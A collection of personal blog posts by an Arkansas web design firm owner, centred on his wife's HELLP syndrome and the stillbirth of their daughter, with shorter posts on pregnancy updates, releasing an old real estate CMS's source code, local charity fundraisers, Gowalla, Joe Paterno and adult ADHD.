One thing I really like about our new design from a functionality and usability perspective is the fact that it has a responsive design. If you have an iPad, iPhone, and a Desktop or Notebook PC, pull the website up on each device at the same time and you will see what I am talking about. The guys invested a lot of time making sure that ever pixel of this new design would render correctly regardless what device it is viewed on. Another really cool thing about the new design that I really like is the portfolio page, you just have to see this to appreciate it. I love the way it sorts our projects by category.

Another area of the site that I think is really cool is the team page. The guys put a lot of thought into this section and I think it turned out great!!

 

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• August 13, 2010 -- What’s In Your Toolbox? (8)
• May 15, 2011 -- Pleth Gowalla Stamp (0)
• February 19, 2011 -- Pleth Welcomes Abbi Siler (0)
• February 13, 2011 -- Pleth Welcomes Lanny Heidbreder (0)
• February 3, 2011 -- Current Projects: Rosewood Coach (0)
• February 3, 2011 -- Launched: Greenbrier Massage (0)
• February 3, 2011 -- Launched: Sonia Bell Insurance (0)
• December 27, 2010 -- Moving Files to the Cloud (3)
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UAMS was our home for the past week...

As I sit in my office with 954 emails in my inbox, 71 unread text messages, and countless tweets and Facebook messages that are unanswered I keep asking myself where do I even start. One one hand I am totally ready to get dive back into my daily role at Pleth with both feet but at the same time I am having the hardest time concentrating. For those of you that might not be aware, the past week has been the worst week of my life.  A week and a half ago we went in for an ultrasound to see our baby girl, everything was perfect, our OB Doctor assured us that she was doing fine, and in fact she was. We got to see Shelby Mae, as we had already named her, bouncing around and waving her hands at us on the screen and we left that appointment feeling so good about everything. Our minds were already on how we were going to finish out the nursery, a room that has been vacant for the 5 years since we built our house. We were also discussing fun things like where we were going to keep her pony that we were going to get her, because every little girl needs a pony right? I’m not stretching things when I tell you that Shelby Mae consumed just about every other thought and conversation that Donna and I were having.

Just a few days after our OB appointment Donna started experiencing higher than normal blood pressure. This is not totally abnormal for us because Donna has battled high blood pressure (a byproduct of her lupus) for most of her life. One thing about Donna and I that a lot of you may not know but we have been through a lot in the almost 7 years of our marriage and as a result our faith in God, who always brings us through the hard times has grown with each and every bump in the road. We start our day w/ prayer together and communion with God, and we end our day w/ prayer. We prayed extensively over her blood pressure and the pain that she was just starting to experience in her back that evening before bed. I woke up in the middle of the night when I sensed Donna was having trouble getting comfortable and we both got up and went into our living room where I tried several things to get her comfortable, including even bringing my office chair into the room and positioning her at a particular angle as to take pressure from her back and that didn’t help. We took her blood pressure and it was through the roof. Without wasting any time we went to the ER at Conway Regional Medical Center and they admitted us to labor and delivery immediately. This sort of scared me because I knew that Shelby wasn’t quite ready to be delivered yet, our best chances for viability were still about 2 weeks away and the fact that we were going to labor and delivery more or less numbed me. In my mind I thought that something must be wrong with Shelby. Once we were situated in our room at Conway Regional they came in and checked Shelby out on the doppler and ultrasound and she was doing great. We started praising God immediately, and for a minute I thought everything was going to be okay because in the past we have always been able to get Donna’s blood pressure under control.

Watching NLC Internet Campus...

For those of you that don’t know my wife Donna, she is the toughest woman I know. Her pain threshold is incredible, she never complains. She was laying in the hospital bed laughing at the occasional joke I would throw her way just to relieve some of the stress that being in a hospital can bring on. In my mind I thought everything was going to be okay. The nurses came in and drew labs on her to check her levels, they also did an ultrasound on her gallbladder to find that she had a lot of gallstones. In my mind I thought, okay this is going to be her gallbladder, still not a biggie, we can get through this. Ultimately the nurse came back in and informed us that her labs were not good at all, her liver enzymes were climbing and her blood platelets were extremely low, these, in tandem with her high blood pressure indicate a serious condition called preeclampsia and that we were fixing to be transferred to UAMS because Donna’s life was in danger. On the inside I was scared but in my mind I knew that Donna was a fighter and that God wouldn’t have brought us this far for something like this to happen. I rode in the ambulance w/ her to UAMS (we knew one of the people on the ambulance) and we were admitted immediately to a room where Doctors and nurses immediately went to work trying to lower Donna’s BP that had spiked to a pretty dangerous level at this point. I prayed a lot harder than I have ever prayed in my life for God to spare both of my girls.

The lead doctor came by and met w/ us and went on to order more labs on Donna to see where everything was at and to ensure that the labs taken at Conway Regional were accurate I guess. Donna is a tough stick when it comes to drawing blood, at one point during this ordeal I watched nurses try for almost two hours to get a vein in her arm. I didn’t expect to see that doctor again that evening but when the labs came back he pulled me into the hallway and prepared me to accept the fact that 1) Shelby was going to be coming into the world early with the odds of her survival very low, and 2) it was a real possibility I would leave the hospital without my baby girl and my wife. I have never felt the range of emotions that came next before in my life, one second I wanted to hit my knees and pray to God and ask WHY? and in another breath I wanted to punch this doctor in the face for no apparent reason. I went back into the room and Donna was finally starting to stabilize and we had a very tough conversation about what was ahead of us. In our hearts we believed and still believe that God could bring Shelby through this with no problem at all because of who he is, the inventor and creator, all things are possible with God. That evening Donna’s BP continued to spike and I watched as her condition deteriorated, at one point she was completely coherent one minute and totally aware of everything and the next she was talking about things that made no sense at all. I can’t explain to you how that made me feel to witness the love of my life in this condition.

Donna and I prayed together and cried together for the next couple of hours and the next morning the doctors came in and based on her most recent labs and her unstable blood pressure they had all met and agreed that they were going to have to induce labor to save Donna’s life. At this point I think we had about half a million people praying and believing with us for a miracle on Facebook and we felt this peace that passes all understanding about what was going to have to happen. I remember Donna’s hospital room became so still when I grabbed her hand and we locked hands with our parents who were in the room and I started praying. I was doing my best to remain strong for her sake as I led us in prayer but the gravity of everything came down on my so hard I just broke down. This set off a chain reaction of everyone breaking down. I can remember my dad and her dad breaking down and our moms hugging one another, neither one of them able to catch their breath. Somehow we managed to complete our prayer and pull ourselves together. I made the phone call to Donna’s sister Bridgette, who is a nurse in Oklahoma City, and told her that she should probably come into town because we honestly didn’t know what was fixing to happen next. A few hours later she joined me alongside Donna’s bed as the physicians induced labor. The process to induce labor can vary from case to case and the doctors told me it could take up to 22 hours before she was ready to deliver.

Date Night: Walking to the Vending Machines

Fully prepared for this process and what what was about to happen I started thinking about Donna and how this was going to affect her down the road. You see, with her Lupus, stress can throw her into a life-threatening flare in a matter of minutes so I didn’t want this traumatic image to be burned into her mind forever and for her to think about it later and go into this full on flare that threatened her life. I met w/ the doctors and asked them to honor some requests that I had regarding how the delivery was going to take place. I requested that there be a sheet up so that Donna and I could be behind it and not witness any of the process if Shelby wasn’t going to make it. I also asked that a wide variety of narcotics be administered through the day so that she would be more or less “front row at Pink Floyd concert”, my exact words. They all agreed that they would make sure this happened. Well, that’s not how it happened, but it wasn’t their fault.

At the moment that Donna started having contractions she started telling us that it was the catheter that was bothering her, and she was having leg pains. Looking back I should have known that it wasn’t the catheter, she can put a catheter in herself and has on numerous occasions and she has never complained. Instead this was Shelby making her way into this world. Finally, when Donna was screaming out in agony I was panicking and calling a friend who is an anesthesiologist to see what other meds could be administered to make her comfortable and suddenly, with Bridgette and I both standing alongside her bed, Donna gave birth to Shelby Mae. This bay girl that I had made up my mind not to see until I got to Heaven was laying there lifeless on the bed with Donna. Donna was trying to raise her head to see what had just happened but Bridgette and I quickly grabbed a foam wedge and threw it onto her chest while Bridgette ran into the hallway to get the nurses. The next few moments consisted of me comforting Donna while the nurses cut the cord and rushing Shelby into another room to do what little they could do to keep her with us. Their efforts were in vain, as we felt in our spirits they would be.

The doctor came back into the room and prepared me for the next 2-6 hours of what was going to happen next. The placenta was still going to have to come out and that was a waiting game but that it wouldn’t be as horrific as what we had just endured. I sat beside Donna until 4am that night when the nurses came in and did what they had to do. Donna was in a lot of pain and her BP was again starting to spike. The doctors told me that Donna had HELLP Syndrome, the most severe form of preeclampsia and that we might be looking at a 2-3 week recovery time for her, even though the baby was gone. More or less they were telling me that everything had to run it’s course. I asked for guarantees that she was going to be okay and no one would give them to me. I hit my knees and started praying alongside her bed while she was in a deep sleep and I asked God to spare my girl because life without her was something I couldn’t even imagine. Just thinking about this moment now moves me to tears but at the time God had given us such peace that I was able to hang on to my thoughts and be sharp despite the fact that I had had very little sleep until this point. Again, this was confirmation that God was with us because before I knew God I would have blown up and probably started trashing the entire hospital until I was admitted into the psych ward.

She Never Complained About Being Stuck...

The next night Donna was laying in bed complaining about being congested, she was blowing her nose and all of a sudden blood started pouring out of her nose and she began coughing up blood. It was everywhere and I went into a panic. I was told later that since her blood platelets were so low that it was a particularly dangerous situation because her blood wouldn’t clot. A team of nurses came in and went to work on helping her get the bleeding stopped and finally she slipped back into a peaceful sleep with the help of some hardcore narcotics.

Once Donna’s BP started spiking again they moved us to another floor where they could focus on her BP and monitor her lab results more clearly. It was on the 6th floor that we met a nurse, Terrye, that was also a believer, and who attended the Cabot campus of our church, NLC.

At this point we were dazed by everything that had transpired and God used her to help us collect our thoughts and to come to terms with the reality of where we were at and reinforced the fact that we were going to get better and were going to go home! One evening we had several visitors show up at the same time to visit Donna, if you know Donna and I, we are social people and love to entertain. I thought that Donna was okay w/ everyone being in the room and I think she did too but out of nowhere she started hyperventilating and was having trouble breathing. A team rushed into the room and I stood back and watched as they went to work on her to bring her BP back under control and get her calmed down. I stepped out into the hallway and asked the family to go home and told them that I would keep them updated on everything via text messages. It was hard but they all headed home. While I was in the hallway Donna confided w/ Terrye that she suddenly had the thought cross her mind what I would do if she didn’t pull through. I was also having these thoughts but hadn’t aired them to anyone because I was trying to remain strong. Terrye pulled me aside and shared w/ me her conversation w/ Donna and once I got myself pulled together I went back into the room and we held each other, prayed, cried, and started the process of healing the emotional aspect of these events.

The team at UAMS continued to work on Donna’s BP to bring it under control with very little luck until they administered one particular drug that I had remembered brought her under control a few nights earlier. Adding this drug to her current roster of medications seemed to be working, even though her labs weren’t getting any better, at least the BP was stabilizing. It was around this time that I decided I would share w/ Donna some of the Facebook posts and tweets that people had been sending us in hopes to reinforce something that God had started to show me as to why in the world this was all happening, I will share this now…

When I was in deep prayer with God I asked him why in the world this was happening to us. I told him that he must not have been hearing our prayers and seen how faithful we were because we didn’t deserve what we he had allowed to happen to us. He then showed me in my spirit that he chose us to bear this trial because he knew our faith and he knew that we could endure what had to happen for his glory. All along we had praying that his will be done regarding this pregnancy, and that’s exactly what had happened in some roundabout way. You see, all through this process I was receiving emails and text messages from people that were telling me that they hadn’t prayed or talked to God in years but that this past week they had been hitting their knees on our behalf in prayer and they wanted to thank us for sharing our tragedy with them because it brought them to a conversation with God that they wouldn’t normally have had. Had I just received one or two messages like this it wouldn’t have had near the impact, but I literally received dozens of messages along these lines saying pretty much the same thing. I also had a couple of people that were dealing with tragedies in their life tell us that our faith and endurance was inspiring them to pull through their situations. We had no idea. Granted, we know the power of prayer, but never before had we felt that God was using us as part of his plan like he was. He was using us the entire time but we didn’t know it.

Shelby's Monogrammed Blanket...

God also showed me later that what he allowed us to endure was similar in a lot of ways to what he endured when his son was on the cross. Granted, our suffering was on a lot smaller scale, but it was very real and very similar. God also reminded me of the peace that we felt come over our room in the hours leading up to what was the most horrific events in our life, he showed us that he knew we would have an army of prayer warriors supporting us and lifting us up throughout this event and he sent his peace to cover us throughout our assignment. This peace wasn’t just evident to Donna and I either, our pastor, Rick Bezet, mentioned this peace in his message this past weekend after he had visited with us. It was a very real peace that I can’t describe. In the past day or so God has also shown to me that with the hand we were dealt that a lot of people are going to look to us to see how we handle everything. Are we going to falter or stumble? Are we going to love God less or more because of what he allowed us to endure? After spending the first night home in our own bed I woke up this morning not knowing where in the world to start pulling my life back together and God used a close friend, Tim via Skype, to allow me to get a few things out there so that I could finally start my day with a supernatural motivation.

The enemy has tried a lot of things to pile onto what we are already dealing with to bring us down, in fact this month already I have bumped heads with the IRS and our bank, who somehow screwed up one of our accounts so bad by not doing our automatic deposits that it’s going to take me a few days to sort out. But you know what, that’s all he can do. It’s his only hope. The reason he is coming against us so hard right now is because he knows that if he can distract us for one moment we will have less of an impact for the kingdom of God. We aren’t allowing that. Yes, we are still hurting, the door to our nursery has remained closed since we got home. The monogrammed blankets, clothes, and baby stuff that we had acquired for Shelby are all inside of a box that we will open one day when we feel led to do so. Yes, Donna’s BP is still not exactly perfect right now, but it’s getting better by the hour. No, we are not 100% right now, but we are coming back. The first step for me this morning was to share all of this and get it out there so that I can begin to focus on some other things because life goes on. Fortunately we have some very exciting things on the horizon for Pleth and several other projects that I am connected to.

Several of you have asked what you can do for Donna and I. We appreciate your generosity more than you can imagine. One thing that we definitely can’t get enough of right now is your prayers, please keep us lifted up. Secondly, please understand that there is no way possible we can respond to each and every one of your texts, emails, facebooks, or tweets. We would absolutely love to but it’s not physically possible. Just know that love each and every one of you and have felt your prayers. Lastly, a lot of people have offered to bring food over for us, we appreciate you more than you know. Donna is more or less on bed rest and I’m keeping her pretty well on bed rest for at least the next week. Our dear friend April Worley has established a calendar so that we won’t have a lot of food showing up at the same time that will go bad. You can find that calendar here (Calendar ID# 99570 / Security Code: 4303). Please know that we appreciate you all so much.

Donna and I were tuned into NLC’s Internet Campus Sunday morning when Pastor Rick referenced our situation and the peace that we had in his message. You can watch this message below:

Make Room For Jesus-Rick Bezet from NLC Production on Vimeo.

Occasionally through the madness and chaos this past week someone would point out a blog post written by friends and acquaintances that was inspired by our situation, I know there were some other ones that aren’t listed below because I can’t locate them but just know we read them and they lifted us up, made us cry, helped us move forward, and lifted us up…

• Some Days Being a Dad is Hard, This is One of Those Days / @jgreghenderson
• The Fabric of Our Lives / @tsudo
• Selfish Gratitude – Damn You Little Rock / @kerrijack
• 40 Days in a Parking Space: Grief / @katiemcmanners

 

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• December 15, 2011 -- Pregnancy: Update at 17 Weeks (3)
• December 2, 2011 -- Pregnancy: Update at 16 Weeks (1)
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• February 17, 2010 -- Breaking News: We are having a Baby! (11)
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In my earlier posts you might recall my mentioning how nervous I have been going into doctors appointments to have ultrasounds, probably has a lot to do w/ our past complications trying to get pregnant and the three miscarriages we have had to endure. Without getting too deep on this short update I will just say that it’s been a tug of war between my concern for my wife and my faith in God. Don’t get me wrong, I know God is in control and have all along but yesterday when we reached the milestone of actually finding out what we were having and being able to put a name on this baby it was like God spoke to me as if to say, just do your part and let me do mine. I’ve let you put a name on this baby just like Adam named all of creation. There’s something about this recent milestone that I hope I can sit down and elaborate on in another post one day soon.

As far as Donna goes, she’s doing great! Shelby Mae really showed out on the ultrasounds yesterday too, I am posting two YouTube videos from the doctors visit. Thanks for all of your continued prayers of support! You will never know how much we appreciate them!!

This is the video of us finding out what we are having. Actually the nurse had already told us but I made her do it again because I wanted it captured on video. I’m a nerd I know…

In this video you can see Shelby is completely upside down in the womb w/ her legs kicked back over her head. There’s a really good profile shot in this video.

Again, thanks for all of your thoughts and prayers!!!

 

Related Posts:

• January 17, 2012 -- The Gift of Shelby Mae… (33)
• December 2, 2011 -- Pregnancy: Update at 16 Weeks (1)
• November 23, 2011 -- Pregnancy: Update at 14 Weeks (0)
• November 10, 2011 -- Pregnancy: Thoughts at Week 12 (2)
• October 21, 2011 -- Breaking News: We’re Having a Baby!!! (22)
• February 17, 2010 -- Breaking News: We are having a Baby! (11)

Well, fast forward a couple of years and content management solutions like WordPress, Joomla, Drupal, and MODx, are all over the web and deploying custom applications on top of these solutions using either plugins that are available as open source projects or by premium plugins that are either written internally or purchased from a third party, this is just simply the way to go. Especially given that over half the world is on one of these platforms to begin with. It’s for this reason that I decided a while back to retire my Powersite Real Estate CMS solution because it just didn’t seem like a practical use of my time to continue developing something that I didn’t foresee a market for. One thing that really helped me make this decision was that phone calls w/ realtors became a lot more complicated after the housing crisis and the recent economic downturn. Instead of looking to spend money to have the latest and greatest features, they were looking to cut costs however they could.

Recently I have had a handful of requests from developers to release the source code for this project to them so they could branch it and try some new things.  While I strongly urge against trying to stand up my source code today and build anything from it, I can see how it might be valuable for developers working on their own solutions to see how various components of my application worked so that they can integrate them into their own solutions. It’s all about paying it forward I guess, my partners and I have done well with the solution and have no plans to re-introduce it. I have made it available on Github.com, you will need to contact me to allow you access because I am not releasing it to the public because I have no time whatsoever to support it. If you are interested, drop me your Github user ID. You can find me on Github here…

 

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• August 11, 2008 -- PHPR Project Management (0)
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Payment is handled through Paypal, which uses industry-standard encryption on all purchases. You may pay with credit card or through your own paypal account. If you prefer, you may also text ARDC to 85944 to donate $10 which will be deducted from your next phone bill. Standard messaging rates may apply.  If you have problem viewing the website below, please visit: http://ardcmall.com

 

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Well, long story short, we managed to get some great shots of our combo’s that include the sandwich, fries, and drink. I literally can’t wait until Wimpy’s Jonesboro opens up over the next few weeks. I just hope all of my Jonesboro peeps have gym memberships lined out because I promise you this is not diet food by any means…

 

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My good friend, Neil Greathouse, sent me a note earlier this week about a cool fund-raising program the Dream Center has going w/ Q-Pon Revolution, an electronic coupon solution, that will donate a dollar to the Dream Center anytime someone uses their app at a participating location in our area. The money generated from this fund-raiser will go directly toward feeding a kid at the Dream Center.

If you are interested in helping out, just visit the Q-Pon Revolution website and download their app and use it at the following locations:

• Tropical Smoothie Maumelle
• Tropical Smoothie Rivermarket
• Shake’s Conway
• Oak St. Bistro
• Stromboli’s
• Cherry Berry Conway
• Pitza 42
• JJ’s Grill
• Hair Mechanics

Not only will you save money when you take part in this promotion but you will also be helping out The Arkansas Dream Center in a big way!!!

About The Arkansas Dream Center

The Arkansas Dream Center is a 501c3 non-profit dedicated to helping Arkansans. We provide hope by meeting both tangible and spiritual needs. It is very simple. We are going out into the communities of Arkansas, we are seeking out the hurting and the hopeless; then we are doing whatever it is we can to meet those needs and to make life better. We reach out to hurting and needy children, families and adults across all races and cultures each week. The Arkansas Dream Center strives to help solve moral decay, crime, drugs, gangs, homelessness and poverty epidemics that exist throughout Arkansas. The vision of the Arkansas Dream Center is to see thousands of hurting people come to know a new life through the efforts of our staff, volunteers, and recently rehabilitated individuals whose lives have been dramatically changed. The Arkansas Dream Center works to partner with people all around Arkansas to reach the lost and help meet the community’s most basic and greatest needs.

About Q-Pon Revolution

Qpon Revolution is an advertising business based out of Little Rock. One of our core values at Qpon Revolution is Social Responsibility, and we do this through our QR gives back program. We sponsor local non-profit organizations in our community, such as christian organizations and charities. The QR gives back program rewards these local non-profits every time a Qpon is redeemed using the Qpon app. Each organization will be partnered with a local business(es) for a certain duration of time.  For example, NLC could be partnered with Tropical Smoothie Maumelle, Shake’s Conway, Pitza 42, Oak St. Bistro just to name a few. For each Qpon redeemed at these places of business, NLC will receive 50 cents to $1 per Qpon Redeemed. Typically the partnership duration will be a 1 month term. After this term has ended, the organization may have an opportunity to partner with a different local business. Through the mutual success of this partnership, both business and organization benefit.
In addition to these sponsorships, Qpon Revolution faithfully gives 10% of its profits to B.I.G Love Cancer Care, an organization that serves kids with cancer and their families in Arkansas and Texas.

 

 

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What will the future hold for Gowalla? I have heard that the Gowalla team will be relocating to Palo Alto in the future and will fit into the Facebook timeline, whatever that means. To me that sounds like integration into Facebook, and that this acquisition was more or less a talent grab. I do think that there is serious room in the geosocial arena for a player like Gowalla and that they just gave up to quickly when they did what they did with their latest release.

What are your thoughts?

For some reason this just seemed appropriate…

 

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We also visited our OBGYN this week and got to see our bundle of joy on the ultrasound again. Everything appears to be developing just perfectly and Dr. Cole said that we were entering into the phase where we could actually relax and enjoy the pregnancy. These were welcome words to me because I knew that there was a particular point during a pregnancy where the risk for miscarriage was dramatically lowered and apparently we are past that stage now. Our OBGYN tried to see on the ultrasound if he could tell us what we were going to have, boy or girl, but we were unable to really make out anything. We are going to go for a different type of ultrasound in 2 weeks that will give us a better picture and hopefully I can break that news in my next blog post to you guys. Oh, and one other tidbit of information, our baby has ears now. Instead of going to bed at night watching re-runs of Two and a Half Men, we are watching History and Discover Channel.

Thanks again for all of your thoughts and prayers of support during this pregnancy! Please continue!!!

 

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• January 17, 2012 -- The Gift of Shelby Mae… (33)
• December 15, 2011 -- Pregnancy: Update at 17 Weeks (3)
• November 23, 2011 -- Pregnancy: Update at 14 Weeks (0)
• November 10, 2011 -- Pregnancy: Thoughts at Week 12 (2)
• October 21, 2011 -- Breaking News: We’re Having a Baby!!! (22)
• February 17, 2010 -- Breaking News: We are having a Baby! (11)

While the Urologist wasn’t able to really give us a reason why she is experiencing these issues he did say that he didn’t feel like this was something that we would have to deal with long term. He said that he was hopeful that it would only last a week or two and that we could get by using an at-home catheter kit (which Donna said was a lot better than the ones they used at the ER). One thing is for sure, my wife is a whole lot tougher than I am when it comes to things like this. If I was faced w/ the idea that I had to have a catheter 4 times a day I’m pretty sure I would freak completely out.

On the upside to all of this, each time we have visited the ER we have been able to see the baby on the ultrasound and hear the fetal heartbeat. The heartbeat has been very strong and during the ultrasounds we have been able to see it moving it’s head around and even sucking it’s thumb (or at least that’s what it looked like to me). Being able to see these images of the baby has really helped put us at ease knowing that God has his hand on this pregnancy and is walking hand in hand with us throughout each of the challenges we are faced with.

As for my problems w/ the stomach ulcer, etc. I am doing a lot better, my doctor put me on a pretty strong medication to treat the ulcers and I have been able to start eating breakfast again, although the smell of scrambled eggs and anything with garlic in it still makes me pretty nauseous. We will move into our 15th week this Sunday, Praise the Lord!! I’m curious, have any other dad’s to be ever experienced morning sickness while their wife was pregnant? My mom says that my dad did while she was pregnant w/ me. At any rate, it’s an interesting phenomenon that can’t be explained…

 

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• October 21, 2011 -- Breaking News: We’re Having a Baby!!! (22)
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Update: 11/10/11 10:30am – The more I am learning about this case, and after having read the grand jury testimony in the Sandusky case, I’m starting to look at this entire thing a little differently. I really want to believe that Joe Pa didn’t do anything wrong, or try to cover up / do the right thing in this case, but if some of the allegations I have heard since writing this post are true, I’m going to be pretty heartbroken.

I returned home this evening and saw a firestorm of tweets related to the news that Penn State’s Board of Trustees had decided to go ahead and fire Joe Paterno even though he had already announced that he was retiring at the end of the season. I was shocked to say the least. Now, before I go any further I want to make this known:

I despise the idea of a grown man, especially a person of trust, like Jerry Sandusky, molesting young children. It’s wrong, and I pray for the victims and their families. I just want to get this on the record, I also have no sympathy for anyone who participates in these acts either directly or indirectly by trying to cover it up.

The part that bothers me in this whole scenario is that I have a lot of respect for Joe Paterno, he’s always carried himself w/ a lot of dignity, class, and integrity over the years. He’s coached college football for over 60 years and in those 60 years there’s never really been any questioning his character on or off the field. He’s still married to his wife Sue that he’s been faithful to since the day they said “I do”. There’s never been any mention of Joe Pa sneaking around or having affairs, instead there’s always been stories about how he and his wife have given millions of dollars to various charities and establish educational facilities at Penn State. I know for a fact that the student library at Penn State came about as a donation from Joe and Sue Paterno. If you think about it long enough, I bet you can’t think of one skeleton that has ever came out of Joe Paterno’s closet over the years.

I recall a story where some sports vendor at Penn State, it was either Nike, Under Armour, or Adidas, approached the coach before a ball game and asked him to put on one of their sweaters to wear during a ball game. I can remember the sports vendor was under the impression that their contractual agreement with the school had locked in the fact that Joe Pa was going to wear their sweater on the sidelines as some sort of endorsement. Upon hearing this request, Joe Pa just smiled at the corporate representative and told them no that he thought he would just wear the sweater he had on because he liked it better, the rep stood there shocked and almost insisted that he change sweaters. Joe Paterno, still smiling, looked at the rep and told them that it wasn’t happening because his grandchildren had bought him that sweater and then he walked out of the room. To the best of my knowledge, he was never asked to change sweaters again. This is just one story about Joe Paterno that I have heard over the years, he was a class act.

If I am wrong about Joe Paterno’s character and if it comes out in trial that he did know about the child molestation and tried to cover it up, I will be the first to admit that he needs to go down w/ the rest of the group involved. This is something we don’t know for sure yet but we will soon. I’m saddened by the fact that one low-life, Jerry Sandusky, has brought down one of the brightest personalities in college football.

One other thing I would like to mention in closing, I feel as if Penn State’s Board of Trustees jumped the gun and acted prematurely given the fact that Sandusky hasn’t even been to trial yet. I feel as if they should have just left Joe Paterno’s resignation at the end of the season, that he had already announced, stand as his punishment. You just don’t fire someone who has been loyal and without blemish for over 60 years w/ a phone call if you can’t substantiate the allegations against him with anything other than here say (and that’s exactly what it is at this point, hear say, nothing has went to trial yet).

What are your thoughts??

 

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I’d love to say that everything up until this point has been a breeze, but I would be lying. Well, let me rephrase this, I wish I could say that everything for me up to this point has been a breeze, but it has not. My wife, the one actually carrying our child, has been cool as a cucumber during this entire pregnancy. Me, on the other hand, is another story. I guess I’ve just been so guarded due to our past experiences. I have been guarding over her the entire time and not allowing her to get too far out of my sight for fear that she will lift something heavy, fall down, or do something else crazy (knowing full well she wouldn’t). Today I went to the doctor to figure out why I have been able to drop 20lbs extremely quick (even though I am on a diet, the weight loss has been a lot faster than I anticipated). I have also had some problems recently w/ sharp burning stomach pains, fever, nausea, and indigestion. Our doctor had me lay back on the table and he basically put his hands right on the center of my discomfort immediately. It was almost like he knew right away what was wrong. Well, long story short, I’ve worried myself into having an ulcer…

The good news is that the ulcer is treatable. I’m already able to tell a difference a few hours later after having taken the medication he prescribed. From this day forward I’m focusing on something that should eliminate this from happening again in the future. Concerning our baby and this pregnancy, I’m pulling back and learning the difference between having faith in God and trusting God. From this point on I’m trusting God. This is an approach that my good friend Garth recommended a few weeks ago and has been in the back of my mind the entire time. If you pray, I would sure appreciate your prayers of support while I walk this walk out spiritually, and of course Donna and I appreciate all of your prayers concerning this pregnancy and the future of our awesome baby!!

In case you missed the Facebook post w/ our 12 week ultrasound on Facebook, here ya go!!

Also, I’m going to expand my Faith Category on this blog to include my daddy blog and renaming it: Faith/Family. I hope you enjoy my future posts…

 

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The biggest story from the game, in my opinion, happened after the game when Coach Houston Nutt went after Neal McCready, a sports writer, because he had predicted the Rebels to lose 49-10. Here’s exactly what he said:

“I don’t read your stuff, they tell me what you say,” said Nutt, looking at McCready. “One of my freshmen told me that Neal McCready wrote that we’d get beat 49-10. Wasn’t no 49-10.”

Should there have been a parade following the game because the score wasn’t near as bad as they had thought it would be? Should everyone just overlook the fact that Ole Miss just broke an SEC record by losing 10 consecutive conference games in a row? There have been a ton of stories about this since it happened: Commercial Appeal (Memphis), and Clarion Ledger (Jackson). I really enjoyed Neal’s follow-up post after the press conference. Watching all of this transpire on the way home from the ballgame on my iPhone I realized that this is so reminiscent of the time Houston called into debate sports writers Wally Hall on The Show w/ No Name one afternoon. The guy has so much trouble taking blame for his shortcomings and lack of ability that it’s sickening. Rather than accept one bit of responsibility for blowing a play call or poor clock management, he quickly turns his attention to the media and whoever else is handy. His ego was what ultimately turned the vast majority of the Razorback nation against him and it doesn’t appear that he can do anything about changing that.

I’m pretty sure that he’ll be leaving Oxford at the end of this year, never to return to the big leagues of the SEC again. At the end of the day, it’s probably our fault for ever elevating him to this level to start with. I just feel bad for the guy because he is obviously out of his league, and is getting ready to burn some more bridges. Good thing he has Jimmy Sexton looking out for him.

Someone sent me this and I thought it was highly appropriate…

Seeing Houston go off in the direction he did at the press conference really brought back some memories. If Oxford needs to know where to get airplanes or banners, they just need to let us know here at Arkansas. FYI, if you want to watch the full press conference, here’s a link…

 

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We were both pretty content in our decision to pursue adoption and were both on our merry way providing all of the information the agency was going to need to process our paperwork until one day, totally out of the blue, my wife walks in and throws a pregnancy test on my desk marked “Positive”… Yeah, I didn’t have a clue what to say. My first emotion of course was excitement, but that was quickly followed by concern given the fact that this is typically how this emotional roller coaster starts out. Well, long story short, we told each other that we were just going to trust God that this pregnancy was going to be perfect and that it was totally out of our hands. We also agreed that we weren’t going public with the news until we knew for sure the pregnancy was going to be viable, meaning the 10-12 week mark. Well, guess what…

Yesterday we went in for an ultrasound and not only was our baby doing fine, it had developed some little arms since the last time we had seen him and he/she was doing one of two things. Praising God or calling the Hogs because those tiny arms were moving around in there and we got to see it. The other day we were able to pick up the heartbeat on Doppler and that literally brought tears to my eyes, I didn’t even see that coming either.

A couple of things are different about this pregnancy that I think are worth noting. Donna is doing great, she’s as cool as a cucumber, not stressed about the least thing. I, on the other hand, am not sleeping at night and am constantly having to seek God in prayer to help stabilize my nervousness. The other day we walked out of the OBGYN office and I glanced down to realize that my shirt was soaked through and through from sweat. Another thing that I should also note, our OBGYN is an incredible guy, he and his team have been with us through the lowest points of our marriage during the past miscarriages and always in the past he let us know that he was cautiously optimistic about our chances. This pregnancy he feels totally different, he has never expressed any concern this time around and has even told me that he feels really good about everything.

Needless to say, we are extremely happy right now, and thankful that God has decided to bless us with this child. We know it is all ultimately in his hands and we ask that each of you keep us, and baby, in your prayers! Our expected due date is in May…

 

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Most people think of children when they hear the term ADHD or attention deficit hyperactivity disorder. But 30%-70% of kids with ADHD continue having symptoms when they grow up. People with ADHD have an imbalance of neurotransmitter activity in areas of the brain that control attention. In adults, the inability to stay focused can derail careers, ambitions, and relationships. Many adults don’t realize they have the disorder, leaving them mystified about why their goals always seem to slip out of reach.

ADHD in adults follows a slightly different pattern than in children. Adults may be chronically late to work or important events. They may be disorganized, restless, and have difficulty relaxing. Some people with ADHD have trouble concentrating while reading. Mood swings, low self-esteem, and poor anger management are also common problems.

Coping with the symptoms of adult ADHD can be frustrating in itself. Additionally, many adults with ADHD have coexisting conditions such as depression, anxiety, or obsessive compulsive disorder. People with ADHD can limit these problems by seeking proper treatment. Personally, I happen to have a touch of OCD as well, not to the point of weirdness or anything but I can tell immediately if someone has been sitting at my desk and moving things around.

Once I was diagnosed w/ ADHD my doctor at the time prescribed a couple of different medications until we arrived upon one that actually worked for me, Adderall. Over time I have been able to have a productive life and accomplish a lot of things both on a personal and professional level so I consider myself extremely fortunate and blessed in that regard. In addition to medication, which has been updated and tweaked over time, I have also picked up some things that help me stay focused when it comes to projects that I might be working on. I am a freaking computer programmer / designer for crying out loud, the least little distraction for me at the most inopportune moment could cost me an entire day.  In addition to medication there are a couple of other things that I have implemented recently that I can already tell are going make a difference in my everyday life.  Here’s what I am implementing…

1. Controlled Exposure to Social Media
   By controlled exposure, I am only going to check my Facebook & Twitter 3 times a day, and those will fall at times allocated in my daily calendar.  (Excerpt from WebMD: Whether you’re living with ADHD or just have trouble focusing from time to time, today’s world is full of concentration killers. Psychologist Lucy Jo Palladino, PhD offers a few tips to manage distractions, starting with social media. It’s easy to connect with friends — and disconnect from work — many times an hour. Every status update zaps your train of thought, forcing you to backtrack when you resume your work.)
2. Allocated Times for Email Correspondence:
   I have always tried to respond to every email that hit my inbox as quickly as possible. This is really bad for a couple of reasons for me. In the future I plan on responding to emails 3 times daily, once in the morning, once at lunchtime, and once in the evening as I am shutting down for the day. (Excerpt from WebMD: There’s something about an email — it shoots into your inbox and itches to be answered immediately. Although many emails are work-related, they still count as distractions from your current project. You won’t make much progress if you constantly stop what you’re doing to reply to every message.)
